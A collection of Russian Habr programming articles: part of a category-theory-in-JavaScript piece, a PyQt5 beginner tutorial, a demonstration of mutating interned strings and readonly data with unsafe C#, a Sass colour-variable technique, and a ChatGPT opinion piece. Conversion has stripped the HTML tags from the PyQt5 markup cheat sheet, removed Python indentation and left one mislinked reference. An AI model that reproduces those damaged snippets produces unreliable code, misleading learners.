**Коуравнитель – это очень полезная с точки зрения ИТ конструкция. Он позволяет решать различные задачи унификации: унификации типов в языках программирования, унификации выражений в системах компьютерной алгебры, унификации графов. Из той же области задачи слияния моделей или исходного кода. Мы вернёмся к этому в следующих статьях.**
### Декартов квадрат (расслоённое произведение)
Уравнитель вычисляется для двух параллельных морфизмов. А что, если вычислить предел для двух морфизмов, у которых совпадает только кодомен? Мы получим ещё один вид предела – декартов квадрат.
Декартов квадрат морфизмов f : X → Z и g : Y → Z – это объект P и морфизмы p : P → X и q : P → Y, такие что f ∘ p = g ∘ q и для любого объекта Q и морфизмов m : Q → X и n : Q → Y, если f ∘ m = g ∘ n, то существует уникальный морфизм u : Q → P, такой что p ∘ u = m и q ∘ u = n, т.е. следующая диаграмма коммутативна.
Выглядит сложно, но в категории множеств это всего-навсего расслоённое произведение:
На рисунке видно, что множество P содержит пары элементов из множеств X и Y, но не все возможные, как в случае с декартовым произведением, а только такие, составные элементы которых функциями f и g отображаются на одни и те же элементы множества Z.
Если вы попробуете в исходном коде найти реализацию декартова квадрата для категории множеств, то не сможете, потому что он реализован для любой полной категории, а не только категории множеств.
**Универсальная реализация декартова квадрата для произвольной полной категории.**
```
CompleteCategory.prototype.pullback = function (f, g) {
return new Pullback(this).calculate(f, g);
};
function Pullback(cat) {
this.cat = function () { return cat; };
}
Pullback.prototype.calculate = function (f, g) {
assertEqualCodom(f, g);
this.f = f;
this.g = g;
var prod = this.cat().product(f.dom(), g.dom());
this.product = function () { return prod; };
var eq = this.cat().equalizer(f.compose(prod.f), g.compose(prod.g));
this.equalizer = function () { return eq; };
this.p = prod.f.compose(eq.q);
this.q = prod.g.compose(eq.q);
this.obj = eq.obj;
assertCommutes(this.f.compose(this.p), this.g.compose(this.q));
return this;
}
Pullback.prototype.univ = function (m, n) {
assertEqualDom(m, n);
assertEqualCodom(m, this.p);
assertEqualCodom(n, this.q);
var u = this.equalizer().univ(this.product().univ(m, n));
assertCommutes(this.p.compose(u), m);
assertCommutes(this.q.compose(u), n);
return u;
};
```
Декартов квадрат вычисляется следующим образом. Сначала получаем произведение объектов X и Y, а затем вычисляем уравнитель для двух параллельных морфизмов f ∘ π1 и g ∘ π2. Объект уравнителя – это и есть объект P декартова квадрата. Морфизм p вычисляется как π1 ∘ eq, а q – как π2 ∘ eq. Универсальное свойство декартова квадрата вычисляется на основе универсальных свойств произведения и уравнителя.
**Причём, этот алгоритм применим в любой полной категории: категории топологических пространств, групп, колец и т.п. Я понятия не имею, что это за категория топологических пространств, но я знаю, что она полная и значит в ней будет работать этот алгоритм. Это пример профита, получаемого благодаря абстрагированию от внутреннего представления объектов и морфизмов. Более того, в полной категории можно вычислять и более сложные пределы с произвольной диаграммой на основе простейших пределов, рассмотренных в данной статье.**
### Кодекартов квадрат (универсальный квадрат)
Кодекартов квадрат морфизмов f : Z → X и g : Z → Y – это объект P и морфизмы p : X → P и q : Y → P, такие что p ∘ f = q ∘ g и для любого объекта Q и морфизмов m : X → Q и n : Y → Q, если m ∘ f = n ∘ g, то существует уникальный морфизм u : P → Q, такой что u ∘ p = m и u ∘ q = n, т.е. следующая диаграмма коммутативна.
Кодекартов квадрат дуален декартову квадрату и может быть вычислен в любой кополной категории как коуравнитель морфизмов i1 ∘ f и i2 ∘ g, где i1 и i2 – это канонические включения суммы объектов X и Y. Морфизмы p и q вычисляются как h ∘ i1 и h ∘ i2 соответственно, где h – морфизм коуравнителя:
Иными словами, множество P – это дизъюнктивное объединение множеств X и Y, причём те элементы, у которых одинаковые прообразы в множестве Z, объединены:
Кодекартов квадрат аналогично коуравнителю используется в задачах унификации. На диаграмме вы видите, что элементы «a» и «b» из множеств X и Y были унифицированы в множестве P в элементы «1» и «2» соответственно. Элемент «c» из множества X был унифицирован с элементом «d» из множества Y. А элемент «c» из множества Y не был ни с чем унифицирован.
С помощью кодекартова квадрата можно решать и более интересные задачи. Пусть известны морфизмы g и q. Если мы вычислим морфизмы f и p, то фактически получим объект X удалением из P всего, что присуще только Y. Это называется вычислением дополнения к кодекартову квадрату. В следующих статьях на примере графов это будет более наглядно.
Ещё раз обращаю ваше внимание на то, что вычисление кодекартова квадрата (как, кстати, и дополнения к нему) реализовано независимо от множеств, функций и прочих деталей внутреннего устройства той или иной категории:
**Универсальная реализация кодекартова квадрата для произвольной кополной категории.**
```
CocompleteCategory.prototype.pushout = function (f, g) {
return new Pushout(this).calculate(f, g);
};
function Pushout(cat, f, g) {
this.cat = function () { return cat; };
}
Pushout.prototype.calculate = function (f, g) {
assertEqualDom(f, g);
this.f = f;
this.g = g;
var cp = this.cat().coproduct(f.codom(), g.codom());
this.coproduct = function () { return cp; };
var ceq = this.cat().coequalizer(cp.f.compose(f), cp.g.compose(g));
this.coequalizer = function () { return ceq; };
this.p = ceq.q.compose(cp.f);
this.q = ceq.q.compose(cp.g);
this.obj = ceq.obj;
assertCommutes(this.p.compose(this.f), this.q.compose(this.g));
return this;
}
Pushout.prototype.univ = function (m, n) {
assertEqualCodom(m, n);
assertEqualDom(m, this.p);
assertEqualDom(n, this.q);
var u = this.coequalizer().univ(this.coproduct().univ(m, n));
assertCommutes(u.compose(this.p), m);
assertCommutes(u.compose(this.q), n);
return u;
};
```
### Что почитать
Фактически, моя статья является плагиатом идей из этой книги, единственное, вместо JavaScript они используют ML:
» [D.E. Rydeheard, R.M. Burstall. Computational Category Theory, 1988](http://www.cs.man.ac.uk/~david/categories/)
Также я сплагиатил много идей отсюда, но об этом уже в следующих частях:
» [Hans Jürgen Schneider. Graph Transformations. An Introduction to the Categorical Approach, 2011](https://www2.informatik.uni-erlangen.de/staff/schneider/gtbook/index.html)
Сам не читал, только листал, но, вроде, неплохая книга с множеством примеров, написанная простым языком:
» [Peter Smith, Category Theory. A Gentle Introduction, 2016](http://www.logicmatters.net/categories/)
Должно быть интересно тем, кто пишет на функциональных языках программирования:
» [Maarten M. Fokkinga. A Gentle Introduction to Category Theory — the calculational approach, 1994](http://maartenfokkinga.github.io/utwente/mmf92b.pdf)
Ещё пара не очень простых книг для тех, кто пишет на функциональных ЯП:
» [Andrea Asperti, Giuseppe Longo. Categories, Types and Structures. Category Theory for the working computer scientist, 1991](http://www.cs.unibo.it/~asperti/PAPERS/book.pdf)
» [Michael Barr, Charles Wells. Category Theory for Computing Science, 1998](https://www.google.ru/search?q=Michael+Barr%2C+Charles+Wells.+Category+Theory+for+Computing+Science)
Конечно, стоит почитать цикл статей [«Теория категорий для программистов»](https://habrahabr.ru/post/305018/) ([оригинал — Bartosz Milewski](https://bartoszmilewski.com/2014/10/28/category-theory-for-programmers-the-preface/)), но, на мой взгляд, он ориентирован преимущественно на людей, пишущих на ФЯП. У нас немного другой подход, вернёмся к этому в заключении.
В данной статье мы максимально абстрагировались от элементов множеств. Но, вообще, в теории категорий есть понятие элемент объекта. Оно более общее, но по смыслу похоже на элемент множества. Также в теории категорий есть обобщение идеи подмножеств — подобъекты. Я надеюсь, мы вернёмся к ним в следующих статьях, а пока можно посмотреть следующую книгу. Хотя она и рассчитана на математиков, но, по крайней мере, в 1-ой главе язык относительно простой:
» [Michael Barr, Charles Wells. Toposes, Triples and Theories, 1985](http://www.math.mcgill.ca/barr/papers/tttall.pdf)
Тем, кто интересуется базами данных, рекомендую почитать статьи чела по имени [David I. Spivak](http://math.mit.edu/~dspivak/). Я сам только листал, но выглядит очень интересно.
Интересная статья про приложение теории категорий к нейронным сетям:
» [Michael J. Healy. Category Theory Applied to Neural Modeling and Graphical Representations, 2000](https://www.google.ru/search?q=Michael+J.+Healy.+Category+Theory+Applied+to+Neural+Modeling+and+Graphical+Representations)
### Заключение
В статье вы увидели вычислительный аспект теории категорий. Обычно, когда говорят о вычислениях, то вспоминают [декартово замкнутые категории](https://en.wikipedia.org/wiki/Cartesian_closed_category) или [монады](https://ru.wikipedia.org/wiki/%D0%A0%D0%BE%D0%B7%D0%B0_%D0%9C%D0%B8%D1%80%D0%B0) Но в теории категорий за большинством конструкций стоят те или иные вычисления, а не только за монадами. **Теория категорий в большей степени о вычислениях на структурах, чем о самих структурах.**
Я встречал два способа объяснить ИТшнику, что такое теория категорий. Некоторые авторы [рассматривают](https://habrahabr.ru/post/305018/) в качестве категории систему типов и функции некоторого языка программирования. Например, в Haskell такая категория называется Hask. В данной статье используется другой подход. Мы рассмотрели категорию множеств как есть, не увязывая множества с типами данных, а морфизмы с функциями некоторого ЯП. Для каждой рассмотренной конструкции мы увидели её вычислительный аспект и реализовали его. **Таким образом можно реализовать любую категорию на любом языке программирования.** Совершенно не обязательно пытаться каким-то образом встроить теорию категорий в этот язык.
В статье вы увидели примеры абстрагирования от деталей внутреннего устройства объектов и морфизмов. Например, увидели, как можно определить сюръективные функции или декартово произведение, ничего не говоря о множествах. **Абстрагирование в программировании очень похоже на абстрагирование в теории категорий.** У меня даже ощущение, что тот, кто придумал ООП, черпал вдохновение из теории категорий.
После прочтения статьи вы должны понимать, что **универсальное свойство – это, по сути, абстрактное представление некоторой задачи на поиск оптимальной структуры**.
Также вы увидели профит от применения теории категорий.
**Во-первых, она помогает правильно организовывать код, правильно называть классы и функции.** Например, я мог бы назвать метод вычисления декартова произведения множеств calcCartesianProduct(), мог бы придумывать какие-нибудь функции типа multiplyFunctions(). Но благодаря теории категорий я понимаю, что произведения объектов бывают и в других категориях и не сводятся только к декартову произведению, а произведение функций — это универсальный морфизм произведения. Т.е. у совершенно разных категорий будет единый интерфейс.
**Во-вторых, теория категорий позволяет писать универсальные алгоритмы**, типа вычисления декартова квадрата, которые могут повторно использовать для разных категорий.
**В-третьих, теория категорий позволяет писать код, очень хорошо покрытый проверками.** Обратите внимание, что во многих функциях проверяются различные предусловия и постусловия (вызовы assert в начале и конце функций соответственно). Причём, мне не нужно как-то искусственно придумывать эти проверки, они следуют из определений!
И, вообще, обратите внимание на тот как написан весь код в статье. Сначала мы описываем некоторое внешнее поведение объекта, его соотношение с другими объектами, в декларативном виде описываем различные универсальные свойства, инварианты, которые должны выполняться для данного объекта. А затем думаем, как это декларативное описание реализовать в коде. При этом реализация получается «правильная», универсальная и покрытая проверками.
Возможно, вы узнали что-то интересное о примесях и смесях в JavaScript.
В [предыдущей статье](https://habrahabr.ru/company/cit/blog/273449/) я немного говорил о применении теории категорий для преобразования моделей. В следующих статьях мы будем двигаться в этом направлении и рассмотрим категорию графов, категорию графов с метками и более подробно остановимся на кодекартовых квадратах.
» [Исходные коды](https://github.com/AresEkb/categoricaljs) и [примеры из статьи](https://aresekb.github.io/categoricaljs/Set.html). | https://habr.com/ru/post/313254/ | null | ru | null |
# PyQt5 для начинающих
Привет, Хабр! Сегодня я вас хочу научить делать интерфейс на Python 3&PyQt5.
Установка PyQt5
---------------
Для того, чтобы установить PyQt5 в Windows или MacOS, откройте Командную строку или Терминал и введите:
```
pip3 install PyQt5
```
Для Linux, откройте Терминал и введите:
```
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install python3-pyqt5
```
Hello, World!
-------------
А сейчас сделаем Hello World приложение. Создайте файл Python, откройте его и введите такой код:
```
from PyQt5.QtWidgets import *
import sys
class MainWindow(QMainWindow): # главное окно
def __init__(self, parent=None):
super().__init__(parent)
self.setupUi()
def setupUi(self):
self.setWindowTitle("Hello, world") # заголовок окна
self.move(300, 300) # положение окна
self.resize(200, 200) # размер окна
self.lbl = QLabel('Hello, world!!!', self)
self.lbl.move(30, 30)
if __name__ == "__main__":
app = QApplication(sys.argv)
win = MainWindow()
win.show()
sys.exit(app.exec_())
```
Когда вы запустите, должна получится примерно такая картина:
Окно Hello, world на UbuntuМеняем шрифт надписи
--------------------
А теперь поменяем шрифт надписи. Теперь код станет таким:
```
from PyQt5.QtWidgets import *
from PyQt5.QtGui import *
import sys
class MainWindow(QMainWindow): # главное окно
def __init__(self, parent=None):
super().__init__(parent)
self.setupUi()
def setupUi(self):
self.setWindowTitle("Hello, world") # заголовок окна
self.move(300, 300) # положение окна
self.resize(200, 200) # размер окна
self.lbl = QLabel('Hello, world!!!', self)
self.lbl.move(30, 30)
self.font = QFont() # создаём объект шрифта
self.font.setFamily("Rubik") # название шрифта
self.font.setPointSize(12) # размер шрифта
self.font.setUnderline(True) # подчёркивание
self.lbl.setFont(self.font) # задаём шрифт метке
if __name__ == "__main__":
app = QApplication(sys.argv)
win = MainWindow()
win.show()
sys.exit(app.exec_())
```
Пример рассчитан на то, что у вас уже установлен шрифт Rubik от Google Fonts. Если нет, его всегда можно скачать [отсюда](https://fonts.google.com/specimen/Rubik).
### Более продвинутая разметка с XHTML
А теперь добавим XHTML. Например, так:
```
from PyQt5.QtWidgets import *
import sys
class MainWindow(QMainWindow): # главное окно
def __init__(self, parent=None):
super().__init__(parent)
self.setupUi()
def setupUi(self):
self.setWindowTitle("Hello, world") # заголовок окна
self.move(300, 300) # положение окна
self.resize(200, 200) # размер окна
self.lbl = QLabel('*Hello*, **world**!!! ~~**123**~~', self)
self.lbl.move(30, 30)
if __name__ == "__main__":
app = QApplication(sys.argv)
win = MainWindow()
win.show()
sys.exit(app.exec_())
```
Те, кто хотя бы немного знают XHTML, заметят, что надпись Hello сделана курсивом, слово world - жирным, а 123 - и вычеркнуто, и жирное.
Шпаргалка по XHTML
| | |
| --- | --- |
| **123** | Жирный текст |
| *123* | Курив |
| 123 | Подчёркивание |
| ~~123~~ | Вычёркивание |
| `123` | Код (моноширным шрифтом) |
| 123 | Надстрочный текст |
| 123 | Подстрочный текст |
| 123 | Размер текста 16 пунктов |
| 123 | Красный текст |
| 123 | Текст на ярко-зелёном фоне. |
| 123 | Выравнивание по центру |
Кстати, я знаю такой [конструктор](http://blockly.ru/blockly-html/index.html) HTML. Лично мне он по душе. Только сложно вставлять свои тэги.
Больше надписей!
----------------
А теперь сделаем 2 надписи:
```
from PyQt5.QtWidgets import *
import sys
class MainWindow(QMainWindow): # главное окно
def __init__(self, parent=None):
super().__init__(parent)
self.setupUi()
def setupUi(self):
self.setWindowTitle("Hello, world") # заголовок окна
self.move(300, 300) # положение окна
self.resize(200, 200) # размер окна
self.lbl = QLabel('*Hello*, **world**!!!', self)
self.lbl.move(30, 30)
self.lbl2 = QLabel('Ещё одна метка', self)
self.lbl2.move(50, 50)
if __name__ == "__main__":
app = QApplication(sys.argv)
win = MainWindow()
win.show()
sys.exit(app.exec_())
```
На вторую я тоже добавил форматирование (подчёркивание), а у первой убрал 123.
### Окно без resize()
Все предыдущие примеры использовали такую конструкцию:
```
self.resize(200, 200)
```
Но без этой конструкции можно обойтись, так как виджеты будут сами себе расчищать место.
### Подсказки
Ко всем виджетам можно добавить подсказку. Например (привожу только важную для понимания часть кода):
```
self.lbl.setToolTip('This is a **QLabel**')
```
### Эпилог
Вот и всё. В следующей части я постараюсь описать кнопки, меню и события.
До новых встреч! | https://habr.com/ru/post/651093/ | null | ru | null |
# Проблемы unsafe кода C#
В этой статье я покажу какие проблемы может вызвать unsafe код и пару примеров, как можно изменить значение константы, readonly поля и свойства без set метода.
Я не знаю насколько будет вам полезна эта статья, но листинги кода в ней просто взрывают мне мозг, приятного чтения.
### Листинг 1
Как думаете что выведет этот код и чем вызвано такое поведение?
```
string str = "Strings are immutable!";
for(int i = 0; i < str.Length / 2; i++)
{
fixed(char* strPtr = str)
{
char tmp = strPtr[i];
strPtr[i] = str[str.Length - i - 1];
strPtr[str.Length - i - 1] = tmp;
}
}
Console.WriteLine("Strings are immutable!");
```
Казалось бы, что за глупый вопрос, но когда я запустил этот код я очень удивился.
Что выводит код:
> !elbatummi era sgnirtS
>
>
Да, да, проверьте сами.
Чтобы понять почему так происходит нужно знать 3 вещи:
* Интернирование строк
* Базовая работа с памятью
* Строка - это указатель на первый символ
Ответ на самом деле прост! Когда мы создаем строку на этапе компиляции, она интернируется. Строка это адрес на первый символ, не сам символ, а именно адрес! Этот код меняет значение символов по ячейкам памяти, но адреса остаются прежними. Поэтому когда мы пытаемся вывести "Strings are immutable!", обращаясь к таблице интернированных строк, мы получаем адрес на первый символ строки, но значения этих символов уже совсем другие.
ILDasm.exe | Метаданные показывают интернированную строкуПроблема тут очевидна, если такой разворот строки будет в **импортируемой библиотеке**, то в будущем, пытаясь обратиться к строке "Strings are immutable!" мы получим другой результат, сами того не подозревая. Я не знаю, насколько это правдоподобный сценарий, но я уверен, что отловить такую ошибку будет, мягко говоря, сложно.
А ведь для этого у нас даже не должен быть включен небезопасный код! Серьезно, если выключить небезопасный код, но он будет в сторонней библиотеке, то программа спокойно запустится. Следующий листинг тому пример.
### Листинг 2
Создадим новый проект как библиотеку классов и подключим к основному проекту. Я назвал новый проект LibReverse и единственный класс в нем LibReverseString. Я включил в этом проекте небезопасный код и создал публичный метод Reverse, который является копией разворота строки из **листинга 1.**
```
public class LibReverseString
{
unsafe public static void Reverse(string str)
{
fixed (char* strPtr = str)
{
for (int i = 0; i < str.Length / 2; i++)
{
char tmp = strPtr[i];
strPtr[i] = strPtr[str.Length - i - 1];
strPtr[str.Length - i - 1] = tmp;
}
}
}
}
```
В файле Program.cs (где наш метод Main) я импортировал нашу библиотеку
```
using LibReverse;
```
И сделал вызов метода Reverse
```
static void Main(string[] args)
{
string str = "Strings are immutable!";
LibReverseString.Reverse(str);
Console.WriteLine("Strings are immutable!");
}
// Output:
// !elbatummi era sgnirtS
```
Заметьте, что в основном проекте с методом Main небезопасный код даже не включен.
### Листинг 3. Поведение развернутой строки в других методах
Везде в **Листинге 3** вызов `LibReverseString.Reverse(str)` можно спокойно заменить на следующий код и результат не изменится:
```
fixed (char* strPtr = str)
{
for (int i = 0; i < str.Length / 2; i++)
{
char tmp = strPtr[i];
strPtr[i] = strPtr[str.Length - i - 1];
strPtr[str.Length - i - 1] = tmp;
}
}
```
Я оставил вызов Reverse из сторонней библиотеки для более хорошей читабельности кода.
Досмотрите листинг до конца, чтобы понять почему тут странное поведение, свое предположения я выскажу в конце.
Я добавил простой метод Foo, который просто выводит строку на экран.
```
private static void Foo()
{
string str = "Strings are immutable!";
Console.WriteLine(str);
}
```
**Листинг 3.1:** Теперь метод Main имеет у нас следующие вид
```
unsafe static void Main(string[] args)
{
string str = "Strings are immutable!";
Foo();
LibReverseString.Reverse(str);
Foo();
}
// Output:
// Strings are immutable!
// !elbatummi era sgnirtS
```
Тут видно абсолютно нормальное поведение кода, но если чуть-чуть изменить код, убрав первый вызов Foo.
**Листинг 3.2:** нет первого вызова Foo
```
unsafe static void Main(string[] args)
{
string str = "Strings are immutable!";
LibReverseString.Reverse(str);
Foo();
}
// Output:
// Strings are immutable!
```
Мы просто убрали первый вызов Foo еще до вызова Reverse, но Reverse не сработал. Или сработал? У меня есть теория насчет правильности которой я не уверен, прошу ответить в комментариях, если вы знаете точно.
В **листинге 3.1,** вызывая Foo первый раз, мы производим JIT-компиляцию, которая связывает локальную для Foo переменную str с интернированной строкой "Strings are immutable!", и только после мы ее разворачиваем.
В **листинге 3.2** вызывается Foo уже после того, как мы развернули строку. Локальная для Foo переменная str не ссылается на развернутую интернированную строку. В доказательство этой теории могу привести следующий **листинг 3.3**.
**Листинг 3.3**: предварительную JIT компиляция всей сборки TestApp.
```
unsafe static void Main(string[] args)
{
// Pre-JIT-compilation
foreach (var type in Assembly.Load("TestApp").GetTypes())
{
foreach (var method in type.GetMethods(BindingFlags.DeclaredOnly |
BindingFlags.NonPublic |
BindingFlags.Public | BindingFlags.Instance |
BindingFlags.Static))
{
System.Runtime.CompilerServices.RuntimeHelpers.PrepareMethod(method.MethodHandle);
}
}
string str = "Strings are immutable!";
LibReverseString.Reverse(str);
Foo();
}
// Output:
// !elbatummi era sgnirtS
```
Этот код я взял у [Vitaliy Liptchinsky](https://www.codeproject.com/script/Membership/View.aspx?mid=3643879) из его статьи про принудительную JIT-компиляцию (<https://www.codeproject.com/Articles/31316/Pre-compile-pre-JIT-your-assembly-on-the-fly-or-tr>)
### Листинг 4
Казалось бы, константы это незаменяемые данные, но этот код говорит об обратном.
```
class Program
{
public const string PI = "3.14";
unsafe static void Main(string[] args)
{
fixed (char* PIPtr = PI)
{
PIPtr[0] = '0';
}
Console.WriteLine(PI); // 0.14
}
}
```
На самом деле нет, напомню вам еще раз, строка - это АДРЕС на первый символ. И адрес в этом случае действительно константный. Хотя на самом деле, я думаю, предполагается, что вы не будете изменять значение констант тоже.
Visual Studio все равно показывает значение как "3.14".
**Листинг 4.1:** Если добавить метод Foo и изменить Main
```
unsafe static void Main(string[] args)
{
fixed (char* PIPtr = PI)
{
PIPtr[0] = '0';
}
Console.WriteLine(PI); // 0.14
Foo();
}
private static void Foo()
{
Console.WriteLine(PI); // 3.14
}
// Output:
// 0.14
// 3.14
```
Тут такая же история, как в **листинге 3**. Растягивать пост не буду, просто скажу, что если провести предварительную JIT-компиляцию, то Foo будет выводить именно "0.14".
### Листинг 5
Тут мы видим "иммутабельный" класс. Мы же не можем изменить Name, которое имеет ключевое слово readonly? Мы не можем изменить ссылку, но значение по ссылке изменить проще простого.
```
public class ImmutablePerson
{
public string Name { get; }
public ImmutablePerson(string name)
{
Name = name;
}
}
```
```
ImmutablePerson person = new ImmutablePerson("William");
Console.WriteLine(person.Name); // William
fixed (char* strPtr = person.Name)
{
strPtr[0] = 'M';
strPtr[1] = 'i';
strPtr[2] = 'c';
strPtr[3] = 'h';
strPtr[4] = 'a';
strPtr[5] = 'e';
strPtr[6] = 'l';
}
Console.WriteLine(person.Name); // Michael
```
Этот код будет работать, даже если мы сделаем свойство Name с init-аксессором или вовсе readonly полем:
```
public string Name { get; init; }
```
```
public readonly string Name;
```
### Послесловие
Спасибо всем, кто прочел эту статью. Если вы не узнали ничего нового или полезного, надеюсь я хоть чуть-чуть смог вас удивить.
В статье **Ксении Мосеенковны** ([@kmoseenk](https://habr.com/ru/users/kmoseenk/)) хорошо рассказано про иммутабельность строк, часть информации взято из нее - <https://habr.com/ru/company/otus/blog/676680/>
Большинство знаний об устройстве .NET я узнал в книге 'CLR via C#' от автора Джеффри Рихтера. | https://habr.com/ru/post/707172/ | null | ru | null |
# CSS var в rgba или удобное использование цветов в Sass
Эта статья посвящена обзору моих наработок в Sass, которые облегчают жизнь при работе с цветами во время верстки. Мы рассмотрим 3 подхода, которые воедино принесут комфорт в работу с цветами.
**Задача:**
Быстрое изменение палитры цветов и их прозрачность(именно CSS var) для всего сайта , используя только **HEX** формат.
**Решение:**
Создание массива с нужными цветами. Далее, автоматическое создание переменных. И написание функции, которая изменяет прозрачность у CSS var.
**В итоге**, такая запись:
```
body{
color: cl(primary);
background: cl(primary, 0.5);
}
```
Будет эквивалентна такой (можно посмотреть живой пример на [codepen](https://codepen.io/anpo/pen/ExgWmOW)):
```
:root {
--color-pink: #E20071;
--color-pink--rgb: 226, 0, 113;
}
body {
color: var(--color-pink);
background: rgba(var(--color-pink--rgb), 0.5);
}
```
Но, при этом в управлении вы используете только HEX формат цвета. Конвертация происходит в автоматическом режиме. Никаких танцев с бубном. Смотрим:
Автоматическое создание CSS переменных
--------------------------------------
Почему лучше использовать [CSS](https://developer.mozilla.org/ru/docs/Web/CSS/Using_CSS_custom_properties), а не [Sass](https://sass-scss.ru/documentation/sassscript/peremennie/) переменные, можно почитать на Хабре [в этой](https://habr.com/ru/post/456302/) статье.
Первое, создадим массив с нужными цветами.
```
$colors : (
"pink" : #E20071,
"blue" : #00A3DA,
"gray" : #939394,
"white" : #FFFFFF,
"black" : #1B1B1B,
);
```
Далее, создадим CSS переменные, перебрав в цикле созданный выше массив *$colors* и запишем их в псевдокласс *:root*.
```
:root{
@each $key, $value in $colors {
--color-#{$key} : #{$value};
}
}
```
На выходе, получим это:
```
:root {
--color-pink: #E20071;
--color-blue: #00A3DA;
--color-gray: #939394;
--color-white: #FFFFFF;
--color-black: #1B1B1B;
}
```
Прозрачность цвета
------------------
Для использования прозрачности в Sass необходимо использовать цвет в *RGB* формате, но у нас только *HEX*. Чтобы это исправить, напишем простую функцию:
```
@function HexToRGB($hex) {
@return red($hex), green($hex), blue($hex);
}
```
Далее, запишем цвет в переменную:
```
:root {
--color-pink-rgb: #{HexToRGB(#E20071)};
}
```
И воспользуемся функцией [rgba](https://developer.mozilla.org/ru/docs/Web/CSS/color_value), где первый параметр — нужный цвет, а второй — прозрачность. Значение прозрачности может находиться в диапазоне от 0 (полностью прозрачный) до 1 (полностью непрозрачный):
```
body{
background: rgba(var(--color-pink-rgb), 0.5);
}
```
Сокращенная запись CSS переменной
---------------------------------
Для ускоренного написания CSS переменной, напишем функцию *cl* (сокращение от слова color).
```
@function cl($name) {
@return var(--color-#{unquote($name)});
}
```
Теперь запись:
```
body{
background: cl(pink);
}
```
Равнозначна такой:
```
body{
background: var(--color-pink);
}
```
Простая магия
-------------
Теперь покажу пример, как используя 3 этих подхода, можно управлять цветами (CSS переменными) так, используя массив как тему (потрогать на [codepen](https://codepen.io/anpo/pen/ExgWmOW)):
```
body{
color: cl(primary);
background: cl(primary, 0.5);
}
```
Вот полный код
```
$colors_theme : (
"primary" : "pink",
"secondary" : "blue"
);
$colors : (
"pink" : #E20071,
"blue" : #00A3DA,
"gray" : #939394,
"white" : #FFFFFF,
"black" : #1B1B1B,
);
@function HexToRGB($hex) {
@return red($hex), green($hex), blue($hex);
}
@function cl($name, $opacity: false) {
@if $opacity {
@return rgba(var(--color-#{unquote($name)}--rgb), $opacity);
} @else {
@return var(--color-#{unquote($name)});
}
}
:root{
@if $colors {
@if $colors_theme {
@each $key, $value in $colors_theme {
--color-#{$key} : var(--color-#{$value});
--color-#{$key}--rgb : var(--color-#{$value}--rgb);
}
}
@each $key, $value in $colors {
--color-#{$key} : #{$value};
--color-#{$key}--rgb : #{HexToRGB($value)};
}
}
}
```
Ну вот и все, в качестве вывода можно сказать, что благодаря подобным функциям упрощается и ускоряется работа с цветами.
Более того, с помощью данных функций, имея в качестве входного значения цвет только в HEX формате, можно легко изменить цветовую палитру сайта. И не прибегнуть к дополнительным **кододвижениям**.
Прошу строго не судить — это первая статья на Хабре. | https://habr.com/ru/post/533084/ | null | ru | null |
# Смерть или эволюция. Что ждёт программирование в будущем?
Или ещё одна статья про ChatGPT. Этот чат-бот с ИИ пишет код на многих языках программирования, оптимизирует код, конвертирует код с одного языка программирования на другой, пишет скрипты с нуля и т. д. Хотя ChatGPT вряд ли когда-нибудь полноценно заменит инженера-программиста или разработчика, этот инструмент может помочь решить множество задач, которые выполняют программисты, а также стать началом новых возможностей в области программирования.
Если есть что-то, в чём ChatGPT хорош, так это написание кода. ChatGPT «прочитал» больше документации, чем кто-либо прочитает за всю свою жизнь. Вот почему он может легко писать скрипты за короткое время, а также предоставлять пошаговые инструкции того, что он делает. Пользователю надо только дать правильную команду этому чат-боту.
ChatGPT — крутой кодер, но не инженер-программист или разработчик. Этот ИИ не сможет проектировать ПО с инженерной точки зрения с учётом потребностей бизнеса или исправлять ошибки, отличные от тех, которые были на его обучающих вводных данных. Этот инструмент не сможет заменить тех, чья работа выходит за рамки написания кода. Но этот при этом может открыть другие самые разные возможности для тех, кто работает с кодом.
По крайней мере на данный момент!
Есть много инструментов, которые помогают программистам быть эффективнее. К примеру:
* StackOverflow помогает находить ответы на многие вопросы по программированию.
* Скрипты помогают автоматизировать рутинные процессы.
* Шаблоны помогают избегать многократного написания кода.
❯ Настоящий кодер
-----------------
ChatGPT идёт намного дальше этого. Он не идеален. Не всегда даёт желаемый результат. Но когда он чётко «понимает», чего от него хотят, он — настоящая «машина».
Допустим, вы создаёте сайт по продажам. Вы можете просто попросить ChatGPT написать для вас код на HTML и CSS, указав, какие разделы необходимо включить. Можно даже указать, будет ли это веб-сайтом электронной коммерции или портфолио, чтобы он ещё больше настраивал вывод.
Вот пример:
Ниже приведён код, сгенерированный ChatGPT:
```
My Online Store
My Online Store
===============
* [Home](#)
* [Products](#)
* [About](#)
* [Contact](#)
Featured Products
-----------------
### Product 1
$19.99
Add to Cart
### Product 2
$29.99
Add to Cart
### Product 3
$39.99
Add to Cart
Copyright 2021 My Online Store
```
```
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
}
header {
background-color: #333;
color: white;
padding: 20px;
text-align: center;
}
nav ul {
margin: 0;
padding: 0;
display: flex;
list-style: none;
justify-content: space-between;
align-items: center;
}
nav li {
display: inline-block;
}
nav a {
color: #333;
text-decoration: none;
font-size: 18px;
padding: 10px;
}
.product-grid {
display: flex;
flex-wrap: wrap;
justify-content: space-between;
}
.product {
width: 30%;
margin-bottom: 30px;
text-align: center;
}
.product img {
width: 100%;
}
```
Вот так выглядит готовый сайт по этому коду.
Not bad.
ChatGPT может изменить обязанности на должностях начального уровня. Так как может выполнять некоторые задачи быстрее и лучше, чем junior-разработчики. Например, поддерживать существующий проект, устраняя неполадки или отлаживая код. Не нужно тратить время и ресурсы на обучение, потому что чат-бот уже хорошо умеет программировать. Чего нельзя сказать об junior-разработчиках.
Но вот в чём дело: таким инструментам, как ChatGPT, нужен «начальник», который даёт правильные команды для получения желаемого результата. Кроме того, нужен кто-то, кто будет интерпретировать результаты и выявлять ошибки чат-бота.
❯ Ускорение обучения программированию
-------------------------------------
Может появиться мнение, что ChatGPT может превратить любого желающего в программиста просто потому, что теперь каждый может генерировать код с помощью чат-бота. На самом деле не так. Человеку, не обладающего знаниями в программировании, будет сложно работать с таким инструментом. Но можно с уверенностью сказать, что ChatGPT может ускорить процесс обучения программированию. Этот инструмент поможет решить вопросы по кодированию и дать подробное объяснение того, что он сделал.
Когда ChatGPT станет платным (что вероятнее всего), он может быть намного эффективнее, чем StackOverflow или Google, потому что:
* Не будет рекламы.
* Минимум неправильных ответов.
* Никаких длинных «водянистых» статей о кодировании.
❯ Будущее программирования
--------------------------
